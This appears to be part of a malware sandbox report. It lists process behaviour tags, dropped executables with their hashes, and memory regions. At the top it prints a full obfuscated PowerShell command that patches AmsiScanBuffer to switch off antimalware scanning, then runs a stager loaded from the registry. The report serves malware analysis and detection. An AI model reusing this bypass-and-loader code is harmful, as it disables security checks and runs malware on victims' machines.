@([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$JEUkUTUwMuF=$VZVLpCErgPqma.GetMethod('Ge'+[Char](116)+'M'+'o'+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+'Han'+'d'+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+'n'+'e'+[Char](108)+'3'+[Char](50)+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$FdvRsKcVTLoQFc=$aBbhMxnRctAqGa.Invoke($Null,@([Object]$JEUkUTUwMuF,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+''+'L'+''+'i'+'b'+[Char](114)+''+[Char](97)+''+[Char](114)+'y'+[Char](65)+'')));$JNPrwHRUPyxIAauTm=$aBbhMxnRctAqGa.Invoke($Null,@([Object]$JEUkUTUwMuF,[Object]('V'+'i'+'r'+[Char](116)+''+[Char](117)+''+'a'+''+'l'+''+'P'+''+[Char](114)+''+[Char](111)+'tec'+'t'+'')));$OGMEKzO=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FdvRsKcVTLoQFc,$vWSuQzEwUgBFYoNgUTR).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+'i'+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'');$PWDWlKTIOsLprqGlG=$aBbhMxnRctAqGa.Invoke($Null,@([Object]$OGMEKzO,[Object](''+'A'+''+[Char](109)+'s'+'i'+''+[Char](83)+'canB'+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+''+'r'+'')));$dXQDurohgj=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JNPrwHRUPyxIAauTm,$pwBfuZvJDlVeSjHOMKxCjn).Invoke($PWDWlKTIOsLprqGlG,[uint32]8,4,[ref]$dXQDurohgj);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$PWDWlKTIOsLprqGlG,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JNPrwHRUPyxIAauTm,$pwBfuZvJDlVeSjHOMKxCjn).Invoke($PWDWlKTIOsLprqGlG,[uint32]8,0x20,[ref]$dXQDurohgj);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+'F'+'T'+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+'l'+[Char](101)+'r'+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
                                      1⤵
                                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                                      • Drops file in System32 directory
                                      • Suspicious use of SetThreadContext
                                      • Modifies data under HKEY_USERS
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of WriteProcessMemory
                                      PID:3752

                                    Network

                                          MITRE ATT&CK Enterprise v6

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                            Filesize

                                            2KB

                                            MD5

                                            d85ba6ff808d9e5444a4b369f5bc2730

                                            SHA1

                                            31aa9d96590fff6981b315e0b391b575e4c0804a

                                            SHA256

                                            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                            SHA512

                                            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                            Filesize

                                            19KB

                                            MD5

                                            bd204b2b8ec35b098053e1f3750e4c11

                                            SHA1

                                            4e323bfbd755b6f3257abecae0dfebe18735a6b9

                                            SHA256

                                            0ec3e086cff2b9d22f0e09448ddfe3891008d96cf4413b429c3875ba5fbfc8e5

                                            SHA512

                                            1817ceafb7846167f8c90671d46737e99181233df970c11216260fde6a05264c8094d046e413b5b681a3400bda475bfec9f6a89b67f75205811fc860331aabff

                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                            Filesize

                                            948B

                                            MD5

                                            a7ce8cefc3f798abe5abd683d0ef26dd

                                            SHA1

                                            b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e

                                            SHA256

                                            5e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a

                                            SHA512

                                            c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64

                                          • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

                                            Filesize

                                            1.4MB

                                            MD5

                                            bb86a343080f9f4696c250ef31a18d9d

                                            SHA1

                                            43b2193dcb1d56eac73ba88a7b461822074192d6

                                            SHA256

                                            095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

                                            SHA512

                                            24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

                                          • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

                                            Filesize

                                            1.4MB

                                            MD5

                                            bb86a343080f9f4696c250ef31a18d9d

                                            SHA1

                                            43b2193dcb1d56eac73ba88a7b461822074192d6

                                            SHA256

                                            095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

                                            SHA512

                                            24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

                                          • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

                                            Filesize

                                            3.7MB

                                            MD5

                                            f5c51e7760315ad0f0238d268c03c60e

                                            SHA1

                                            85ebaaa9685634143a72bc82c6e7df87a78eed4c

                                            SHA256

                                            ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

                                            SHA512

                                            d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

                                          • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

                                            Filesize

                                            3.7MB

                                            MD5

                                            f5c51e7760315ad0f0238d268c03c60e

                                            SHA1

                                            85ebaaa9685634143a72bc82c6e7df87a78eed4c

                                            SHA256

                                            ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

                                            SHA512

                                            d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

                                          • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

                                            Filesize

                                            1.4MB

                                            MD5

                                            b6bbab9f72c88d07b484cc339c475e75

                                            SHA1

                                            f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

                                            SHA256

                                            dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

                                            SHA512

                                            1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

                                          • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

                                            Filesize

                                            1.4MB

                                            MD5

                                            b6bbab9f72c88d07b484cc339c475e75

                                            SHA1

                                            f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

                                            SHA256

                                            dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

                                            SHA512

                                            1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

                                          • C:\Users\Admin\AppData\Local\Temp\new2.exe

                                            Filesize

                                            464KB

                                            MD5

                                            990c8e3fc56a2734631b51fc61a6779a

                                            SHA1

                                            55a16cc67fc52cdf0690387e083955048106d48a

                                            SHA256

                                            d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

                                            SHA512

                                            f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

                                          • C:\Users\Admin\AppData\Local\Temp\new2.exe

                                            Filesize

                                            464KB

                                            MD5

                                            990c8e3fc56a2734631b51fc61a6779a

                                            SHA1

                                            55a16cc67fc52cdf0690387e083955048106d48a

                                            SHA256

                                            d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

                                            SHA512

                                            f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

                                          • memory/584-229-0x00007FFCCDEB0000-0x00007FFCCDEC0000-memory.dmp

                                            Filesize

                                            64KB

                                          • memory/1020-230-0x00007FFCCDEB0000-0x00007FFCCDEC0000-memory.dmp

                                            Filesize

                                            64KB

                                          • memory/1324-143-0x0000000000400000-0x0000000000405000-memory.dmp

                                            Filesize

                                            20KB

                                          • memory/1324-137-0x0000000000400000-0x0000000000405000-memory.dmp

                                            Filesize

                                            20KB

                                          • memory/1456-175-0x00000000059E0000-0x00000000059EA000-memory.dmp

                                            Filesize

                                            40KB

                                          • memory/1456-166-0x0000000000AC0000-0x0000000000C2C000-memory.dmp

                                            Filesize

                                            1.4MB

                                          • memory/1456-169-0x0000000005520000-0x00000000055B2000-memory.dmp

                                            Filesize

                                            584KB

                                          • memory/2248-218-0x0000000140000000-0x0000000140029000-memory.dmp

                                            Filesize

                                            164KB

                                          • memory/2248-221-0x0000000140000000-0x0000000140029000-memory.dmp

                                            Filesize

                                            164KB

                                          • memory/2248-222-0x00007FFD0DE30000-0x00007FFD0E025000-memory.dmp

                                            Filesize

                                            2.0MB

                                          • memory/2248-223-0x00007FFD0D4B0000-0x00007FFD0D56E000-memory.dmp

                                            Filesize

                                            760KB

                                          • memory/2248-226-0x0000000140000000-0x0000000140029000-memory.dmp

                                            Filesize

                                            164KB

                                          • memory/2248-228-0x00007FFD0DE30000-0x00007FFD0E025000-memory.dmp

                                            Filesize

                                            2.0MB

                                          • memory/3092-186-0x00000000057D0000-0x000000000580C000-memory.dmp

                                            Filesize

                                            240KB

                                          • memory/3092-190-0x0000000006970000-0x000000000698E000-memory.dmp

                                            Filesize

                                            120KB

                                          • memory/3092-178-0x0000000000400000-0x0000000000420000-memory.dmp

                                            Filesize

                                            128KB

                                          • memory/3092-183-0x0000000005D60000-0x0000000006378000-memory.dmp

                                            Filesize

                                            6.1MB

                                          • memory/3092-184-0x0000000005770000-0x0000000005782000-memory.dmp

                                            Filesize

                                            72KB

                                          • memory/3092-185-0x00000000058A0000-0x00000000059AA000-memory.dmp

                                            Filesize

                                            1.0MB

                                          • memory/3092-193-0x0000000007CD0000-0x00000000081FC000-memory.dmp

                                            Filesize

                                            5.2MB

                                          • memory/3092-192-0x00000000075D0000-0x0000000007792000-memory.dmp

                                            Filesize

                                            1.8MB

                                          • memory/3092-191-0x00000000073B0000-0x0000000007400000-memory.dmp

                                            Filesize

                                            320KB

                                          • memory/3092-189-0x0000000006680000-0x00000000066F6000-memory.dmp

                                            Filesize

                                            472KB

                                          • memory/3136-147-0x00000000057D0000-0x00000000057F2000-memory.dmp

                                            Filesize

                                            136KB

                                          • memory/3136-150-0x0000000006770000-0x000000000678E000-memory.dmp

                                            Filesize

                                            120KB

                                          • memory/3136-145-0x00000000031A0000-0x00000000031D6000-memory.dmp

                                            Filesize

                                            216KB

                                          • memory/3136-154-0x00000000080D0000-0x000000000874A000-memory.dmp

                                            Filesize

                                            6.5MB

                                          • memory/3136-148-0x00000000060D0000-0x0000000006136000-memory.dmp

                                            Filesize

                                            408KB

                                          • memory/3136-162-0x0000000008D00000-0x00000000092A4000-memory.dmp

                                            Filesize

                                            5.6MB

                                          • memory/3136-149-0x0000000006140000-0x00000000061A6000-memory.dmp

                                            Filesize

                                            408KB

                                          • memory/3136-161-0x0000000007E30000-0x0000000007E52000-memory.dmp

                                            Filesize

                                            136KB

                                          • memory/3136-160-0x0000000007D10000-0x0000000007D18000-memory.dmp

                                            Filesize

                                            32KB

                                          • memory/3136-159-0x0000000007D20000-0x0000000007D3A000-memory.dmp

                                            Filesize

                                            104KB

                                          • memory/3136-146-0x00000000058F0000-0x0000000005F18000-memory.dmp

                                            Filesize

                                            6.2MB

                                          • memory/3136-158-0x0000000007CD0000-0x0000000007CDE000-memory.dmp

                                            Filesize

                                            56KB

                                          • memory/3136-157-0x0000000007D50000-0x0000000007DE6000-memory.dmp

                                            Filesize

                                            600KB

                                          • memory/3136-153-0x0000000006D20000-0x0000000006D3E000-memory.dmp

                                            Filesize

                                            120KB

                                          • memory/3136-151-0x0000000006D40000-0x0000000006D72000-memory.dmp

                                            Filesize

                                            200KB

                                          • memory/3136-156-0x0000000007B00000-0x0000000007B0A000-memory.dmp

                                            Filesize

                                            40KB

                                          • memory/3136-155-0x0000000007A90000-0x0000000007AAA000-memory.dmp

                                            Filesize

                                            104KB

                                          • memory/3136-152-0x0000000074A90000-0x0000000074ADC000-memory.dmp

                                            Filesize

                                            304KB

                                          • memory/3752-225-0x00007FFD0D4B0000-0x00007FFD0D56E000-memory.dmp

                                            Filesize

                                            760KB

                                          • memory/3752-224-0x00007FFD0DE30000-0x00007FFD0E025000-memory.dmp

                                            Filesize

                                            2.0MB

                                          • memory/3752-227-0x00007FFCEED30000-0x00007FFCEF7F1000-memory.dmp

                                            Filesize

                                            10.8MB

                                          • memory/3752-215-0x00007FFCEED30000-0x00007FFCEF7F1000-memory.dmp

                                            Filesize

                                            10.8MB

                                          • memory/3752-216-0x00007FFD0DE30000-0x00007FFD0E025000-memory.dmp

                                            Filesize

                                            2.0MB

                                          • memory/3752-217-0x00007FFD0D4B0000-0x00007FFD0D56E000-memory.dmp

                                            Filesize

                                            760KB

                                          • memory/4184-194-0x000000000221E000-0x0000000002722000-memory.dmp

                                            Filesize

                                            5.0MB

                                          • memory/4184-209-0x000000000273F000-0x000000000287C000-memory.dmp

                                            Filesize

                                            1.2MB

                                          • memory/4184-188-0x000000000273F000-0x000000000287C000-memory.dmp

                                            Filesize

                                            1.2MB

                                          • memory/4184-187-0x000000000221E000-0x0000000002722000-memory.dmp

                                            Filesize

                                            5.0MB

                                          • memory/4284-195-0x00000243CA130000-0x00000243CA152000-memory.dmp

                                            Filesize

                                            136KB

                                          • memory/4284-197-0x00007FFCEE560000-0x00007FFCEF021000-memory.dmp

                                            Filesize

                                            10.8MB

                                          • memory/4580-205-0x00007FFCEE560000-0x00007FFCEF021000-memory.dmp

                                            Filesize

                                            10.8MB

                                          • memory/4580-212-0x00007FFCEE560000-0x00007FFCEF021000-memory.dmp

                                            Filesize

                                            10.8MB